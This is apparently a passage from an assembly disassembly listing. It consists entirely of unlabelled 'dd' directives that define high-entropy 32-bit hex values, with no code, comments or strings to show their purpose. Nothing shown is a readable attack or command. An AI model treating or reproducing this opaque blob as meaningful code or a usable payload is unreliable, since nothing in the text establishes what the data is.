		dd 4EEECE81h, 0A1486306h, 0D205C8A7h, 34440052h, 2F94BE10h
		dd 4C75FD8Bh, 6673DCF3h, 0AE2B2C02h, 80E67A30h,	5C1501A0h
		dd 0CC00039h, 96DA61BCh, 8E0F3359h, 80FFDC0Dh, 49AE26BDh
		dd 0DF510779h, 208CB7CFh, 0E29BACBAh, 40C8C900h, 0F75893DCh
		dd 0ECA11ED8h, 6A764038h, 0A836244Eh, 73308C00h, 0A36ED23Eh
		dd 4D79009Bh, 1CDFCD03h, 483BF4C4h, 1F7D0385h, 153AB4Bh
		dd 6F5AE98h, 4058E47Ah,	0EC807190h, 150027F6h, 1C3AD1A1h
		dd 34F428Ch, 0A9689ADCh, 86D0328Fh, 203034F4h, 9CAD39FCh
		dd 0EBB205A3h, 4AF841h,	0F38C4BDCh, 848B42Ch, 0F9FC0800h
		dd 1A440001h, 7D2BDF12h, 9CF4806h, 784549h, 0B5E3E247h
		dd 0F33B3FF5h, 0EE5A7A00h, 32E1D7B9h, 53040F63h, 0BA1C80A1h
		dd 5A706280h, 1E4A86C4h, 0F0277F00h, 1A4E3A71h,	336F00F2h
		dd 0C79A3B93h, 0F80EF78Eh, 4716538h, 4287D451h,	0A60DBC10h
		dd 52F400E5h, 5A6B1F45h, 0DD008821h, 17FD5973h,	78D14AF2h
		dd 8B9600FEh, 68E58171h, 0CE003BC3h, 5B8AB694h,	6F91C76h
		dd 0FEBB7066h, 0A5001060h, 0BFBA19Ah, 2358EF3h,	5CFF0F19h
		dd 4040B8EEh, 0B400AB87h, 920A0174h, 7CDAE797h,	94C1007Bh
		dd 416F49A9h, 8D022EE2h, 0C0DF4A3Bh, 8244092h, 1A57F5Fh
		dd 0E7CC7C23h, 0E788F2AEh, 702657E0h, 0BF74A20Eh, 25F1E02Ch
		dd 58CB39C1h, 0F0014E5Ch, 0FF5EABA8h, 20EFC859h, 3E04301Ch
		dd 5C571480h, 250973h, 0C83CD9CDh, 3343D732h, 0DB6C0F00h
		dd 0ED4753ECh, 6880FF6Ah, 8F7E4B6Bh, 700038Ch, 0C9D87B28h
		dd 0E61CCC3h, 587C751Eh, 7D55E823h, 38532800h, 998E67D8h
		dd 134A9033h, 0D51FCBh,	3EFACF48h, 430054B6h, 0E2F47A40h
		dd 16D057Dh, 57AD6486h,	0BD3DE5F5h, 0CD1F0019h,	0CF619B30h
		dd 0F84B3E0Bh, 5558480h, 6FD9CBBDh, 0D700EE79h,	1DFB9214h
		dd 4E36998h, 1B3DEF01h,	48EF83CEh, 0E6CC909Ch, 4718D69Ch
		dd 92360FFDh, 4590007Fh, 0FA961FAFh, 0A4011374h, 0D92AB3A3h
		dd 48305E8Fh, 51CB00B9h, 1EF0993Ah, 0DB007D5Fh,	71A0CF4Dh
		dd 3815A63h, 8B4B466Dh,	5F06269h, 59073FB0h, 0FF94CC8Eh
		dd 0E5844E6h, 1AB8FBF5h, 0C05C35C4h, 9F0D70E2h,	0D3E75A00h
		dd 0B7D7A4BDh, 3073A0h,	0A846D288h, 6D51A30Ah, 0FB524Ch
		dd 81F74AD3h, 0D24BA4h,	0C7BE6CB3h, 410C35A6h, 6EE68514h
		dd 80AD3E90h, 0FEFC24A1h, 11BB33h, 0E197EF8h, 66E616CAh
		dd 0A0C78E00h, 61257980h, 0DDA70758h, 2237CDBDh, 3C44DEC9h
		dd 3684E001h, 3E1A4221h, 0A40020h, 4C4D48D9h, 0E823AA60h
		dd 306A460Bh, 7EF1801Bh, 0AF79B5h, 9E0C7057h, 0DA9CF4C5h
		dd 2D456700h, 1B9243A1h, 6D7EADh, 0A8DFB787h, 6BCC5A56h
		dd 5EF69600h, 3E235C22h, 83370053h, 0F850691Eh,	0E301271Ah
		dd 657DD855h, 8705C92h,	0AA570006h, 16FAF9Ch, 0CB00FCADh
		dd 9E614AB2h, 691C9Bh, 0E0483A12h, 0F852E94Fh, 0DE1E0492h
		dd 0FA052FF2h, 1C8FC8AAh, 0A6E11003h, 0C1E020BFh, 0A700CF4Bh
		dd 44F16E6Ch, 0F5C0D4Dh, 2C86E792h, 9FD68CE0h, 0E902F3B9h
		dd 0B6D1F2C2h, 1860E804h, 7A9900DDh, 0A5ADC21h,	0C935F2F3h
		dd 4480889Eh, 0FE887868h, 0FEF80F83h, 33A02F7Ch, 4D72A118h
		dd 4BC8B0C3h, 6B310087h
		dd 70E112CFh, 0CA0317EFh, 1FF33D07h, 15210C9Ch,	0E6397835h
		dd 1C7C5607h, 1D40EEF5h, 13FA32Bh, 0C40652E8h, 0ECF119BFh
		dd 0B900050Dh, 0CCDCBA72h, 83C4DECh, 0F785585Fh, 0DFB59103h
		dd 0EFFC3C5Ah, 8BC9A601h, 0C96DDA4Eh, 5DDBC749h, 0E9D0D9B3h
		dd 15004B93h, 72B6198Fh, 0F959730h, 0E2C7CCD1h,	3AED98B8h
		dd 0F57F5D00h, 0F9DBEB01h, 18DC0053h, 93A67B2Eh, 2173DA40h
		dd 83788103h, 0FFECE288h, 1CD03FC0h, 2D540149h,	0FD5B56BEh
		dd 4735F09Fh, 6777E07h,	41376E16h, 0A6BC6731h, 9C0620h
		dd 0E2EDA892h, 0B780B309h, 4EB07F0Eh, 5E272022h, 16D49514h
		dd 3A64F2Fh, 0B7A3C950h, 0F94318D0h, 1EB3C01Eh,	346F20C0h
		dd 4FACF8h, 382B5871h, 0CBA062D7h, 94DC8D01h, 5390E23Ah
		dd 0D92DE4h, 3408B399h,	487B9A17h, 80467300h, 0A6E8E702h
		dd 2CB0009Ch, 35D8A494h, 4B2AD6F9h, 7800E0EAh, 78F2FD5h
		dd 33D9153Eh, 85083618h, 1EAB2100h, 0FD6FE0B7h,	7AF102DAh
		dd 95BD1434h, 0E4A64B00h, 602307A1h, 7FB9A2E5h,	9F395B60h
		dd 6007631h, 0FE177EF4h, 0FA3BE89Ch, 4910288Dh,	0E09603CCh
		dd 22F84CAAh, 36759C80h, 59C708C6h, 23500020h, 8B5B96ABh
		dd 300D344h, 19872093h,	1E8DF358h, 35978E2h, 73D95E6Ah
		dd 0C44D5AF1h, 2842615Ch, 7B8F9703h, 0D10093D9h, 0B4438136h
		dd 509AD298h, 0F607F8CEh, 56B20F96h, 720082C3h,	0A7F5C142h
		dd 8A5E98A8h, 30955D39h, 3057E4D9h, 80C000FCh, 85A5F37h
		dd 0EE2CF36Ch, 2D0F3BC5h, 3A174545h, 0D0E69880h, 0EA0748F4h
		dd 0EB24007Ch, 83BC55F2h, 4800AD10h, 0E1E37F9h,	7982953Ah
		dd 6BEF003Dh, 0CD74E8E9h, 50F4107h, 807F0E86h, 2B673860h
		dd 5BA500CCh, 5EFDD4C6h, 973BF2E4h, 154A809Ah, 0F6F581DFh
		dd 0E9E819AFh, 0E83D2103h, 7200A4D4h, 9DE10EF4h, 206223B3h
		dd 770759FAh, 4D1ABED3h, 0D763DB0h, 0DFD40040h,	2DFC6FABh
		dd 29C04AFAh, 4419B93Bh, 7A6900B8h, 97A0D2C5h, 21C30BC4h
		dd 0D726D1A4h, 0F81CA5D0h, 0BDE719Eh, 2C614B03h, 0FCE46880h
		dd 921BCE71h, 0A81077F4h, 3D07A89h, 4842DE74h, 81804EBh
		dd 5F20708Dh, 0AF771FA2h, 2774C05Dh, 0D8F5F864h, 5EA94B06h
		dd 5049CC0Dh, 8CAB8CF2h, 4DD52302h, 197E7715h, 0CBB01031h
		dd 598000D5h, 4408F99Bh, 0ED1CD494h, 36C04EF7h,	0C927C80Eh
		dd 84A829FAh, 0D665F188h, 6FAF418h, 58A77C52h, 977EB14Dh
		dd 2DFF2901h, 0C8F031BCh, 70A2DED4h, 69BE004Dh,	800D77AFh
		dd 0E7B8E081h, 313C703Eh, 35FFF036h, 0C1798180h, 0FB81A995h
		dd 51E65813h, 68F32800h, 3A43D8h, 0FDAE62C9h, 1A893B1Dh
		dd 0F70CD576h, 5882255Ah, 41BD01C4h, 0C0EB2C96h, 0F0AFFC84h
		dd 3C9DA43Eh, 2A18006Bh, 9896048Eh, 7E3B0291h, 76592DDAh
		dd 7189FEC1h, 0E930D8A3h, 6932D800h, 47118481h,	3F7DADh
		dd 5C0B90A2h, 34E4F43Bh, 0E004F757h, 0C0350561h, 0C87BF110h
		dd 0D70081BAh, 0D80D3AA7h, 3FDFC5h, 0B9CECA2Ch,	0C5571D6h
		dd 758CE63Eh, 0DD004CF8h, 0EF4BD772h, 602F876Ch, 64B559FFh
		dd 0D20396C4h, 0AD4FD780h, 0E9510E0Fh, 0E80C79E5h, 3D78FF28h
		dd 0CB00E173h, 6C858999h, 0DD9B0Bh, 0D8771C20h,	0F4D96786h
		dd 2256BB18h, 0A0F17FB9h, 80379360h, 2F185F1Fh,	0E618CFBFh
		dd 7A510041h, 9B0E30B8h, 665286C2h, 0DAA91070h,	636DBD00h
		dd 46F40471h, 0FBD84318h, 80913AE8h, 6A7CE33Fh,	4FF3D400h
		dd 1AE5EB1Ch, 0D3E74007h, 0FA830F15h, 0A143804Ch, 3591785h
		dd 4D9BDFCBh, 0A805386Fh, 692F2765h, 51169420h,	0A999678Ah
		dd 0D9C8D341h, 0A253FAF8h, 18C080F0h, 2F6DE5E6h, 0D439C0C6h
		dd 41451F8Fh, 9C40F007h, 8C6E54E9h, 1A7799F5h, 40F2767h
		dd 0D7C58180h, 52058729h, 2EA3F99Dh, 0E16BF800h, 33A1A7FAh
		dd 0AF6874D6h, 48FE3BB0h, 90AC6D28h, 0B82CA430h, 0EA561BE9h
		dd 3D606B6h, 20DCDD48h,	4F491C1h, 24D988h, 0C864037Ah
		dd 0D862EFB6h, 4413CEF0h, 66EC7600h, 0AC594186h, 48570778h
		dd 20676F89h, 80D6B5D0h, 0BE666E0Ch, 2E1749CFh,	0C3ABAh
		dd 75DFF798h, 0F42A4888h, 7D3BB4BDh, 1F5A8024h,	9703B4D3h
		dd 0A3EB017Fh, 94DDFF45h, 0E5C040F5h, 0DC07AF73h, 0FE784C34h
		dd 3FCD47F0h, 13010775h, 0DB2993BCh, 79686700h,	143CCA55h
		dd 0EC99A6D3h, 5119003Dh, 1C812F67h, 1AE03Bh, 34765C0Eh
		dd 0C38AEB75h, 7B4758h,	71A3A1B8h, 0F62C2FB7h, 76630011h
		dd 0B27C7BAEh, 80002D36h, 0F60979DFh, 0FC2557h,	0C3DD0132h
		dd 379CF0ECh, 4542AE00h, 0F8D53B46h, 0A9D1005Eh, 0DF3FE8Ch
		dd 413B8B8Dh, 0FA258029h, 0C64A5847h, 0FF80081h, 3A831E2Eh
		dd 0E6009903h, 0EB5DFBE2h, 0C702B12h, 0B0C050A5h, 7BE0B610h
		dd 0A61D3400h, 0DF7F94FAh, 98210083h, 2E0ADBF5h, 8D1753A1h
		dd 16037520h, 0A6EDE8C5h, 0A970060h, 0CE5BDE45h, 0F91CD168h
		dd 8B0C9B0Fh, 6043380Ch, 5BFA081Bh, 0DA001283h,	0D882B75Fh
		dd 1D2F89h, 652E5E69h, 0FEFD1633h, 0BE510102h, 0E0542D4Dh
		dd 798E43h, 0FFAA398h, 0DADE8A16h, 2800FB7Fh, 9CDC966Fh
		dd 1B320482h, 29A2928Dh, 0EBD4CAF8h, 0E141A5A0h, 1267E00h
		dd 73655AE8h, 0E317058Bh, 0C097DD27h, 22B4F296h, 0BCE9CB31h
		dd 0B0811603h, 88B2D77Ah, 87A4479Ch, 0FAA86128h, 3FD8308Dh
		dd 0D90E0D30h, 0F0B401h, 36AC5B05h, 4F69F6BDh, 1364E51Eh
		dd 0EBA82847h, 0CE0BFD20h, 0CDE007Eh, 16252380h, 8F07B346h
		dd 0B5DDA2F7h, 0F3FBCF60h, 0E2E71FC0h, 0FACD07D8h, 0B63240BEh
		dd 25FAB3A2h, 477ADC0Ch, 2F10BCh, 0F4019AC9h, 0FBAC734Fh
		dd 0AAA88101h, 0A3BC35E6h, 17F9920h, 0F2EC6796h, 0EC26583Ah
		dd 0B800A9B3h, 0EAC92516h, 0F654681Fh, 0DB50C0A0h, 0FA6959B5h
		dd 2EF87218h, 765B5310h, 7B4F421h, 5D1CB69Ch, 31E746D7h
		dd 2464100Ch, 2635B8C7h, 0B72CB8h, 0FEEA4822h, 0E200254Fh
		dd 0B03AEBE3h, 7DE16958h, 0D05D0011h, 0C5A2D651h, 80A06460h
		dd 2C1CBB2Fh, 0E987C938h, 7960A475h, 6791A393h,	0A0FD209Bh
		dd 8D98C532h, 0A6690F0Ch, 0FE0B0A0h, 4BBCAF08h,	14A91206h
		dd 1D97F900h, 0BE80B5FEh, 0F2F6DFh, 0CB84BFEFh,	2B9E0FD8h
		dd 0F398DE00h, 0CF8CFEE6h, 30C400FDh, 2E9C4D41h, 24007544h
		dd 0CBEADB8Eh, 0B95C847h, 0A1218699h, 0EE71D00h, 18388315h
		dd 4DE00E0h, 366245F2h,	6ECF1DCAh, 6A20C128h, 20B4A5DFh
		dd 0AE00C327h, 26597451h, 8216F1h, 2E7548C4h, 8FA5B656h
		dd 6E709900h, 71ABCF50h, 6BE031h, 0F2D12FB9h, 0EE431AE6h
		dd 7482D51Eh, 3B8DA980h, 1F7B7CB1h, 0D6566Dh, 0B47971E5h
		dd 0DC00E4B3h, 743FA901h, 0E0891114h, 8EA80020h, 75909F5Bh
		dd 130082CBh, 482FD259h, 782BE451h, 3AD60011h, 8B439C19h
		dd 663F2E28h, 0F0A88753h, 5801650Dh, 0ECF8D5D3h, 713D0BC6h
		dd 0D980FFE1h, 2CDF9E5Dh, 0ACD44E00h, 0F4E970F7h, 0FAC000B7h
		dd 1B05AD0Ch, 0C0C0ED7Ah, 1F0E794Ch, 28C2005Ah,	65DBA6CAh
		dd 171EEBDAh, 0DC401CA5h, 3407C61Dh, 991360CBh,	66C4122Eh
		dd 7A1EBA00h, 67F28DA4h, 0DE9F0083h, 9AF03671h,	2C72CD44h
		dd 0BA4E3100h, 0FBD2D422h, 5CB0046h, 2A941856h,	7A006203h
		dd 0FEF83D0Dh, 0E6A573h, 3A2369CAh, 5E837A6h, 95B9A21Ch
		dd 12B0D080h, 0CD8EE4h,	39641DF0h, 5A2BBB1Bh, 2E4BA50Eh
		dd 6D064002h, 0EA1C1E01h
		dd 0A3E004Eh, 0D6A57419h, 7C909509h, 0EA30320Eh, 0C82A0F7h
		dd 0F4D542h, 73404ACCh,	841BD92h, 2B352500h, 0DDD845A1h
		dd 63F100C4h, 7848B6B3h, 2600616Ch, 0FC179706h,	0C86220h
		dd 221A1EA4h, 0C696E49Dh, 606803Fh, 3BD5C268h, 0B9DB030Ah
		dd 0FBF44361h, 0B88E81Fh, 0E7E855C0h, 75F2238Ch, 4C893F5Ah
		dd 5193D200h, 78A35924h, 6DE61900h, 643050DDh, 0D01A6020h
		dd 0D8019399h, 2748037Eh, 355A0037h, 0EDCE4EE3h, 0CD19C06Ch
		dd 96B83198h, 2D37F50Ch, 60B1A88Ch, 22740846h, 0B5008D76h
		dd 55BAE1EAh, 511DADh, 0D51EA55Fh, 838C68C9h, 3B4A7D00h
		dd 47168BD7h, 58DC3E4Fh, 3CDAB200h, 975FC5BDh, 951C2C78h
		dd 0C14043E6h, 9C29E3B6h, 814B24E2h, 0EC6A00BBh, 0F1C877CAh
		dd 0F8989100h, 48E6B7D3h, 0B4C4147Ch, 0B50CA27Bh, 8520EC57h
		dd 1CB7B800h, 31CBA3F5h, 0DC873DBAh, 52AC2E80h,	0D601D81Ah
		dd 900AA400h, 0EA1C9C96h, 0CEA6F88Ch, 40FFD861h, 3689C6A3h
		dd 0D9071C95h, 811A1606h, 50EA20CCh, 0E092B00Eh, 974E0601h
		dd 80D32B47h, 0CB9DAA00h, 7F271E73h, 5BD2009Ch,	0E63AC1Ah
		dd 0D660949Ah, 8B98EF28h, 993D1EC5h, 0FBF100D8h, 0AE4D75F7h
		dd 171FFF07h, 9E466276h, 0CCEC0070h, 6E51F71Ch,	0B9019CC4h
		dd 194679B6h, 5880266Ch, 0AAB13539h, 0D854B55Fh, 51308084h
		dd 879A607Fh, 19F7BB9h,	591F2B21h, 0FD49DE6Fh, 789BF435h
		dd 8246FC02h, 0A4A3E762h, 0DC60AE88h, 8910B2A2h, 44C4BBD6h
		dd 2E0B95h, 6B9CB74Ah, 60CC00E2h, 476F6E32h, 0AD006813h
		dd 1AA54052h, 0A1B566E0h, 0D918DCE8h, 5F80B708h, 40F6C46Ch
		dd 10B881BBh, 12A7F8B0h, 238BAE19h, 96A8460Ch, 0B5005E38h
		dd 0DA6E286Dh, 70E40939h, 0AF1400E1h, 0B817A12h, 450067E8h
		dd 5DFCCCA4h, 788835F1h, 771B07AAh, 0E0BB0B70h,	0A1C7E964h
		dd 7265BC00h, 27BDDE1h,	8B5E0082h, 9A21FE69h, 2F030F19h
		dd 273EC34Bh, 0E06DB03Ch, 551C0079h, 91093F0Dh,	190E80ADh
		dd 0A40E3794h, 39C03925h, 2B2C6Fh, 920B43F9h, 0A6165A7Ah
		dd 7135751Ch, 0A9C52840h, 0A23960h, 0BEE5CA5Ch,	0C9E0DA91h
		dd 44035B03h, 0C9CB812Ch, 63C453ABh, 0EA720FCAh, 76010520h
		dd 0F4F6F13Ch, 0E0EE94B4h, 145C2400h, 0BF450642h, 0E987F87Ah
		dd 8079D0CBh, 61960369h, 0B3CBCEDCh, 0C62E7900h, 72E1EEA8h
		dd 97360169h, 9C28E3CDh, 3BE07AACh, 0FDF780Fh, 0F0BEF8E4h
		dd 0A74F2901h, 6955D052h, 0FFD56A00h, 5F7C7072h, 7ABD00ADh
		dd 50988594h, 0F70F05B3h, 22E720BBh, 95E865A7h,	0D8805704h
		dd 0F77545DFh, 8F4A0F0Eh, 368058B6h, 4BBBFB21h,	869BA700h
		dd 0C7858096h, 4F0D0E51h, 0C281A888h, 31EA75FFh, 6A0CFC27h
		dd 0B9972B00h, 714F0632h, 3FB23D1Ah, 814A861Eh,	0CEE5BB5Fh
		dd 0F4E8D855h, 45DC9D1Fh, 31EDF800h, 387112FBh,	2580D2C8h
		dd 0DCE65479h, 24002159h, 39BF47B8h, 2FF74Bh, 0D873BDA8h
		dd 307567CAh, 806D153Bh, 590FEF97h, 1682002h, 0BD22B68Ah
		dd 80B2F9B3h, 44EB5C28h, 440697D1h, 0BB20740Ah,	85442B3h
		dd 4450928h, 65A661Bh, 3151A990h, 7479D54Fh, 24298453h
		dd 7C0A5FABh, 3E420128h, 0ED754F07h, 197984ECh,	0F8066086h
		dd 0C879516Dh, 0E44C29C3h, 67C87C6Ch, 0DC8451C4h, 0AD033F29h
		dd 98756490h, 6F791908h, 41A05137h, 12ACC314h, 457883A4h
		dd 4C5118BBh, 0EA59A1BCh, 50288F61h, 570147CDh,	8851941Fh
		dd 7C811864h, 0A017FC29h, 1D41EB4h, 8688335Fh, 0E82D49B6h
		dd 13E2117Eh, 197BA900h, 3380F635h, 0C7F50020h,	38841C72h
		dd 0E1008E4Dh, 23C2651h, 9880Fh, 0A643E425h, 70E74F33h
		dd 0D6082800h, 0B166EC31h, 0B37E000Dh, 90D9B648h, 8D001703h
		dd 0ACB25A26h, 0ECC252B0h, 779D0FA7h, 0FB00942Eh, 0A5453458h
		dd 0CCF94B00h, 4924CE76h, 0E2C7312h, 50CBFB5Eh,	0E6C31AC2h
		dd 0A1928040h, 0BE5D2203h, 8F6536F9h, 8500F50h,	0A2871C1Dh
		dd 0E6E501F3h, 8798CFF4h, 0D050C10h, 0B4647B70h, 9A3F24DAh
		dd 5E9EA4h, 140EA23Eh, 7F006844h, 5E0CC73h, 940FD4h, 0DA61314Dh
		dd 0A5B7B04h, 59821000h, 9B96A2ADh, 4C9400C9h, 0EE15B333h
		dd 0F5004B7Ch, 0C89C6AF2h, 0EA589D47h, 866E0012h, 29FE7623h
		dd 0B60098B2h, 89BCAA7Eh, 58BD25Bh, 0E3970C7Ah,	4163C364h
		dd 0DF2298D0h, 0F837B00h, 0A163110h, 0D9860F20h, 0A8BCE71Eh
		dd 0FF9D00FDh, 8C539503h, 120716F3h, 869CBFB2h,	0B48FB300h
		dd 595E0E77h, 4D8767FEh, 28B65006h, 21008E98h, 537FE6A8h
		dd 0E0A6ABh, 0A2D3C51h,	2E37429h, 8060AF38h, 835BF34Eh
		dd 7C93ABh, 5E299E76h, 0E88D6A4Ah, 2E408F07h, 9A208AB3h
		dd 42604Dh, 5D8301E6h, 14CA7AEBh, 470FABF0h, 0E39C02F4h
		dd 8033F387h, 90CFFEh, 4816F281h, 0F67BE054h, 20BE9F00h
		dd 8C5159A4h, 0BFD41614h, 52D2A05Dh, 49B75800h,	62FCAF6Dh
		dd 3E51F44Ah, 0E004EB6h, 0CCD2EC37h, 0F0008BF5h, 3BA87C3Fh
		dd 0FE608A32h, 2C610BC1h, 0A42010E9h, 0DC66AD8Dh, 0A31FC31Ch
		dd 0A5DE6543h, 7A6E8D1h, 0B37D07B7h, 67C7CD32h,	5B9110E8h
		dd 64E02EFBh, 0A852EA00h, 0E5F7A6FEh, 1B7B2E20h, 0A98F3EDFh
		dd 5C0327B8h, 45EBEEFBh, 949C83A0h, 6D694A1Eh, 2AB347C1h
		dd 0E1F81A0Dh, 0DA33004Dh, 1207C1F8h, 871E5F13h, 6700BB1Eh
		dd 0F6553B46h, 60914868h, 3C84A28h, 970B35D0h, 43F04612h
		dd 0F3CF827h, 53007B8Dh, 3661E041h, 0DE5F4Ch, 5CD517A4h
		dd 7E60E583h, 3181C906h, 0E8190565h, 0F9260F3Dh, 4D6549D6h
		dd 0BEF00099h, 6A450FBDh, 4A83C400h, 6541AF96h,	777F9Eh
		dd 4D6FBC9Bh, 685007DCh, 94AA901Ch, 0FE85EF87h,	0DD8FDD0h
		dd 6974F8h, 1DA5E29Dh, 930CD43Fh, 35280E00h, 0EF124D47h
		dd 3F87F29h, 527FFA8Dh,	8BD0EEB4h, 626E28E7h, 280F1360h
		dd 15DE004Fh, 3049A25Eh, 0A1E8C58Eh, 9600DD08h,	35AD4195h
		dd 5DF92Dh, 0F80F5E45h,	0A90DBB1Bh, 0B4FB3A00h,	0DFE9E006h
		dd 0A6B20C4Dh, 16186FAFh, 0B5D0821Eh, 0FE3B9A80h, 1C7D43h
		dd 0D6B1B339h, 0DB06F273h, 24C77201h, 8A0B4B18h, 0EE29F8F3h
		dd 0ADFB0060h, 20BAABA0h, 271C7657h, 88C723AAh,	280440Eh
		dd 307DE61h, 9E30BF6h, 16B12264h, 39C72055h, 72E01159h
		dd 24FBB23Fh, 6F00A5F5h, 35F9ABB4h, 67960982h, 0A4803A90h
		dd 74C44791h, 0EB657A00h, 3372306h, 0E05D00BDh,	8407464Eh
		dd 36002257h, 0ECA17F8h, 5E3510h, 67F0CBF1h, 205FDBF6h
		dd 0BC10700h, 4102380Ch, 0B1DA00ABh, 0FCB51419h, 0BC00E41Fh
		dd 8611C38Eh, 8B513Bh, 62A7668h, 2703993Ah, 5572507h, 3D70FC3Fh
		dd 561E04h, 34019B2Dh, 0B3EFF652h, 45BBBE1Eh, 2F3F738Eh
		dd 8DA90089h, 0C2F57Bh,	362EAB9h, 0E7AD97Dh, 260008B8h
		dd 218A4055h, 133D87h, 0D6F0C8DFh, 0D76F3827h, 0DEEEE100h
		dd 0C7EB76F2h, 5D211C41h, 3C6541FFh, 0D4A87BD2h, 3F016FC6h
		dd 0BC347E6Dh, 83C0C101h, 8A56281Dh, 0B9E600DFh, 0E1800B15h
		dd 0EE00D99Ah, 9FBBF39Bh, 7FBC13h, 9C4AEF3Bh, 358A2BBFh
		dd 0E9881607h, 0E0C9ED1Ch, 0EA1728Fh, 80DEF76Ch, 44D22C80h
		dd 0D93F4926h, 52DF002Bh, 21515C0Bh, 0CF550092h, 0D094426Dh
		dd 0DB60E222h, 0E0EEA4FEh, 5164000Fh, 2D8A3179h, 7E00874Dh
		dd 5B77AD18h, 0CE8FD1h,	0BEC6F54Ah, 2802B239h, 2F895A00h
		dd 2965FB04h, 0D960F948h, 0D29C000Eh, 3EAFE1DBh, 210912D8h
		dd 1DE06Ah, 0C1575C2Ch,	0E23014Fh, 3ADD763Dh, 0F44DF8BCh
		dd 78F7CA00h, 860CDF17h, 4CE001FCh, 7C9FE219h, 0FE006058h
		dd 0B6A7F500h, 0FBFAE129h, 98CB00B7h, 0CE74EFCh, 0FE486C9Dh
		dd 0F3C300CCh, 9368220Eh, 91740036h, 0DA65420Ah, 950F7FCCh
		dd 805EF9D9h, 3D66FE94h, 0C6A95C4Ch, 6AAB3400h,	0CD135BB3h
		dd 41B3E03h, 0F082FABFh, 9E4DFB1h, 0AB01627h, 0EECE790Fh
		dd 0FB6C1540h, 0AE046A73h, 101BA0EFh, 8A461DC1h, 0F617B830h
		dd 83EE0075h, 0CDF19FBAh, 6E008228h, 423F9258h,	0F00697D9h
		dd 0D8D400BCh, 0CA72F19h, 300142Ch, 0BB26C30Dh,	39EF5150h
		dd 0F0921D86h, 1CCF899h, 5B4A304h, 48F8FB53h, 0AC731Ch
		dd 0ADC4166Ch, 3BD175F8h, 0CCBC7100h, 0DA39E0CAh, 0E2000AEh
		dd 7BB6ECA3h, 0D200A014h, 82B1A6A5h, 1EF3425h, 66945E3Dh
		dd 3004B25Fh, 78480C7Ah, 4FC51799h, 1A89AF00h, 726EEA63h
		dd 7D54EAD4h, 65930041h, 1790EB0Ah, 5A00C508h, 1C47AE0Bh
		dd 980ED140h, 811A00D4h, 0B9DB8A3Bh, 3D0E341Bh,	0A0C22796h
		dd 0EAC64E69h, 0EB5200F2h, 6325569Bh, 1648C431h, 6A0078AEh
		dd 0FD7335E3h, 5A92042h, 0C4D09F0Fh, 33C00014h,	8ADA705Ah
		dd 2E144C9Ah, 9C0CAD1h,	803B5615h, 204DE25Ch, 0F333074Fh
		dd 504A68D8h, 8D8F7307h, 0CF30250Bh, 0BA3C815Eh, 0ACE53738h
		dd 0BF46D4h, 9B5DEAFh, 8C702BC9h, 9A51A300h, 60784EDFh
		dd 0C0BE1274h, 7FCB0038h, 9B6A47C6h, 0B19DF200h, 0A03CCAD0h
		dd 4C270056h, 5E2C5983h, 45002B31h, 90799282h, 4C2DBE3Ch
		dd 7B03AAh, 43478C60h, 3B3AB633h, 84FD3000h, 9EA8374Bh
		dd 6FCE00DCh, 0F7C948FAh, 0FE9009EAh, 0D99FC01Fh, 1576F9C0h
		dd 162AF14h, 8A411A61h,	0DDCDADE2h, 0BCB0C3CAh,	0BB984633h
		dd 90B50605h, 88C074C9h, 0CB63A5h, 0D8E617D6h, 1F1095BBh
		dd 857D46C0h, 2C211DFh,	0DCD426C0h, 2E0D612h, 8A2CEA9Bh
		dd 47008097h, 0D89329D1h, 11E5071Eh, 509A99A6h,	0A1830A4h
		dd 8631BE00h, 0D8B495DFh, 1C30B062h, 0C019A993h, 7E18334Ch
		dd 30F8704h, 5CF92CA2h,	741CA0D7h, 8E92BDC0h, 95363h, 0B88C4BB9h
		dd 188054D7h, 82AEE07h,	3411C48Bh, 25C4F6C0h, 983950B3h
		dd 0A0EE00E5h, 0AD4AC2B8h, 13FC7ED8h, 0FC20B703h, 0D097B2C4h
		dd 70315h, 985829A0h, 817F43A6h, 5B9051ECh, 9D2F6E00h
		dd 0EFBE2EECh, 0A1E80069h, 36398988h, 49004B70h, 48B95244h
		dd 7BECFD50h, 0CD8B00C8h, 21936184h, 0C17D4056h, 0FC384300h
		dd 0C23A2FCBh, 3C9500E9h, 543F4C42h, 0F307E858h, 9A06C5A3h
		dd 8D01FA40h, 8BFE00D8h, 5DB2834Dh, 5C009DA5h, 122975C5h
		dd 510B72h, 2EE6B628h, 44228A10h, 9685CC01h, 4F88863Ch
		dd 0D74CC8h, 0F8EBE717h, 0BEC70ABFh, 5D00CFEEh,	80987883h
		dd 0D2E514h, 0F943C9F6h, 0D1AD0E6Fh, 0ACAC400h,	0AEDDC2AAh
		dd 0DCBB4C0Dh, 59A5A703h, 0F4E97D79h, 4A09E080h, 943BAC00h
		dd 0BDBBC34Eh, 212C008Dh, 24D26C1h, 1002F872h, 45168BABh
		dd 5BCE00Bh, 664700C2h,	34E95157h, 793C5F9Ah, 832080BDh
		dd 6FB07C61h, 0EC4A0190h, 515214B5h, 0E087E3DAh, 57C1B1A4h
		dd 844B2E00h, 0EE0ED9BEh, 6B0C004Eh, 3B942156h,	39008846h
		dd 273080C2h, 8D8B9Bh, 63A3340Eh, 9973EE02h, 9DD9E400h
		dd 86A5B8F1h, 0F47A4CEDh, 0BC48E70Eh, 2F8D7B61h, 8C59C07Dh
		dd 0D5662700h, 60C95CB9h, 203F007Fh, 33CE1F5Fh,	2C00946Ch
		dd 85F2A545h, 0C83FCh, 0EFA0763Eh, 2AE98D36h, 34C1D200h
		dd 2F5A9F38h, 7B39001Fh, 0CCF94C07h, 0D8A05190h, 25007F6Fh
		dd 0DFDD308h, 1CE735h, 0E8E5EAB6h, 0AB1ADC10h, 0A63A8D00h
		dd 37F56596h, 0DB6D0022h, 402CE435h, 2006217h, 0A5C83F1h
		dd 529FE6h, 66FD077Ch, 418AC3AAh, 0D17906E8h, 81146F3Ch
		dd 79E580DDh, 0B3D0E866h, 0E47100C9h, 761732C8h, 0FD00D830h
		dd 0FEA48461h, 0F65AEA88h, 0C8C5019Bh, 0C6CF8911h, 0A93FC0BFh
		dd 0DF6D4609h, 4AB4809Ah, 583765h, 87C264A2h, 8AE65DEBh
		dd 20B0A727h, 39B86D88h, 7B280069h, 0F5D476E3h,	0ED0747ADh
		dd 1BBA1088h, 3D6ADCB0h, 0E25E0E24h, 0CFE0D6C5h, 0DB9D70E1h
		dd 2FA19E00h, 9BC6F130h, 3AD171FCh, 0AC9CF3D7h,	2A7477Ch
		dd 0C24EE045h, 0EB0E0C9Eh, 0DC206Eh, 81A9D3D2h,	739409DAh
		dd 0E9808FCFh, 1E0C379Ah, 1B366600h, 206E82Ch, 4613E13h
